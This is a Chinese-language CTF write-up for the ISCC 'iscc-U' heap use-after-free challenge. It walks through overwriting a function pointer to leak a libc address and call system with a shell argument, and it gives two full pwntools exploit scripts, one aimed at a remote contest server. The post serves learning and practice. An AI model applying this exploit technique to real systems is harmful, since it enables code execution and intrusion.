本文最后更新于 2024年10月23日 晚上
iscc-U
一道特殊的uaf,高版本,没开pie,特殊的打印机制。
警告:极其混乱,掺杂着无数次歪路
- 由于没有libc文件,不知道libc版本,没用unsotedbin泄露,不知道该减多少。
打印函数:

创建函数:

删除函数:

- 先创三个堆看看notelist的储存形式:

- 关于c语言:notelist本身指代的是这个空间指向的数据。例如int notelist = aaaaaaaa,notelist就会指代这个aaaaaaa,¬elist才会是指向的空间。这里也是这个道理,¬elist 才是0x804c048。(但是gdb就是用notelist列来表示这个地址,只是C语言用&来取)
- 可以看到,这里存储的都是对应的printf_note(也是关键的利用点,相对不容易想到)开始想着是写死了,无法修改,其实释放掉两个块,然后创建一个8的块,就可以写入到先释放的8的块里。
按上述进行测试输入puts_plt

回忆忘记的点:
malloc返回的地址都是指向数据域的。。。
注意看创建函数那里,数据域的堆的指针是放在了第一个小堆里的,然后输入数据的时候选了相同的地址把它覆盖掉了,但是输入数据的地址刚好会是第二个小堆的数据域!(纠错,没有覆盖,就是普通的+4,虽然c语言中指针p++是一下子加对应的字节数,但这里就是普通的加数值4)

注意这里是有参数的哦

为了利用到后续的数据,不能直接用puts_plt,而是题目中的print_note。另外,teache bin 后进先出。

1号堆的小堆1被当作新堆的print_note,0号堆的小堆1被当作新堆的数据域。但是它的数据还是在堆0的下方,把上面的巧合构成的无漏洞变成了漏洞。
另外:不知道为啥puts_got输出不出来,换成read_got就没事了。
- 替换为system,实际执行为system(地址),地址中存的是p32(system);$0;,第一个显然不是正常参数,所以会执行第二个。
- 远程system需要+4来跳过这个函数

如果不+4,报这个错误,但是程序不中断(只有+4和+1可以通过)


1 2 3 4 5
| __x86.get_pc_thunk.dx 是一个在某些编译器和操作系统下生成的特殊符号(symbol),通常在 x86 架构的程序中会看到这个符号出现。这个符号的作用是为了在程序中获取当前代码的位置计数器(Program Counter)的地址。
在 x86 架构中,程序执行时会使用一种相对寻址的方式来访问指令,这种方式会使用一个基地址加上相对地址的偏移量来确定指令的位置。__x86.get_pc_thunk.dx 函数就是用来获取这个基地址,以便在程序中动态计算其他符号的地址。
通常情况下,程序员很少会直接调用或使用 __x86.get_pc_thunk.dx,因为这个函数主要被编译器和链接器内部使用。它在一些特定的链接策略中扮演着重要的角色,确保代码能够正确地执行并访问所需的数据和函数。
|
gpt这么解释的,怀疑会导致符号错误,明天有时间了换了libc文件试试。。
踩坑日记:不要乱用别的libc,就用泄露的去下载,别偷懒!!!!
调进去就是正常的system

执行处

system+4的这里

啊!看着一模一样啊,而且各个参数的情况也一模一样,跳过一个endbr32按理说也没啥用啊。。。。
system的本质是execve,那就下断点去看execve,+4的情况:


突然发现变成64位了????印象中有64、32的转换,搜了搜。(这篇看着不错,先保存,有时间再看)
Shellcode - countfatcode - 博客园 (cnblogs.com)

不加4的话,在这个sysenter这里直接寄掉了

怀疑是32位跳64位的时候被endbr32开启的cet检测给影响了,但是运行的程序没有被中断啊。。。
又去查看跳转前的寄存器,二者也没啥区别。。。


查报错说可能是反引号的问题,打印一下看看

成了!

(但是还是调试不进去)
附加linux指令:
用分号连接,表示执行多条指令
system(“command1; command2; command3”);
用&&连接,表示前一条成功才运行后一条
system(“command1 && command2 && command3”);
用||连接,前一条失败运行后一条
system(“command1 || command2 || command3”);
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import* context(log_level='debug',arch='i386',os='linux') #p=process('./000') p=remote('182.92.237.102',10016) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()
def debug(): gdb.attach(p) pause(1)
def new(size,content): ru('Exit') sd('1') ru('size') sd(size) #rl() sd(content)
def show(index): ru('Exit') sd('3') ru('Index') sd(index)
def dele(index): ru('Exit') sd('2') rl() sd(index) print_note = 0x80492b6 read_got = 0x804C00C #debug() #new('1056',"AAAA") #new('1056',b'BBBB')
new('20',b'AAA') new('20',b'AAA') new('20',b'AAA') #debug() show('0') dele('0') dele('1') #debug() new('8',p32(print_note)+p32(read_got)) #debug() show('0') read_addr = u32(ru('\xf7')[-4:]) print(hex(read_addr)) pause() #debug() ''' libc_base = read_addr - 0x0f0780 system_addr = libc_base + 0x041360 +1 ''' libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
libc_base = read_addr - libc.sym['read'] system_addr = libc_base + libc.sym['system']
#debug() dele('1') dele('2')
new(b'8',p32(system_addr)+b';sh;') #debug() show(b'1') p.interactive()
|
调试exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import* context(log_level='debug',arch='i386',os='linux') p=process('./111') #p=remote('182.92.237.102',10016) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()
def debug(): gdb.attach(p) pause(1)
def new(size,content): ru('Exit') sd('1') ru('size') sd(size) #rl() sd(content)
def show(index): ru('Exit') sd('3') ru('Index') sd(index)
def dele(index): ru('Exit') sd('2') rl() sd(index) print_note = 0x80492b6 read_got = 0x804C00C #debug() #new('1056',"AAAA") #new('1056',b'BBBB')
new('20',b'AAA') new('20',b'AAA') new('20',b'AAA') #debug() show('0') dele('0') dele('1') #debug() new('8',p32(print_note)+p32(read_got)) #debug() show('0') read_addr = u32(ru('\xf7')[-4:]) print(hex(read_addr))
#debug() ''' libc_base = read_addr - 0x0f0780 system_addr = libc_base + 0x041360 +1 ''' libc = ELF('/home/kali/Desktop/libc6-i386_2.31-0ubuntu9.14_amd64.so')
libc_base = read_addr - libc.sym['read'] system_addr = libc_base + libc.sym['system']
#debug() dele('1') dele('2') payload = p32(system_addr)+b"`;$0" print(payload) new(b'8',payload) debug() show(b'1') p.interactive()
|
另:经实验,确实有语法错误会导致不能执行

所以说跳过第一个endbr32就能让它执行还不懂:dog:
提交的时候发现+4之后,64就是d了,就不是反引号了,不会报语法错误了,所以就能执行了,与endbr32无关!
0x60对应的是反引号,0x64对应的是d

至于其他的为啥不行,虽然不是反引号了,但是影响了system的正常执行。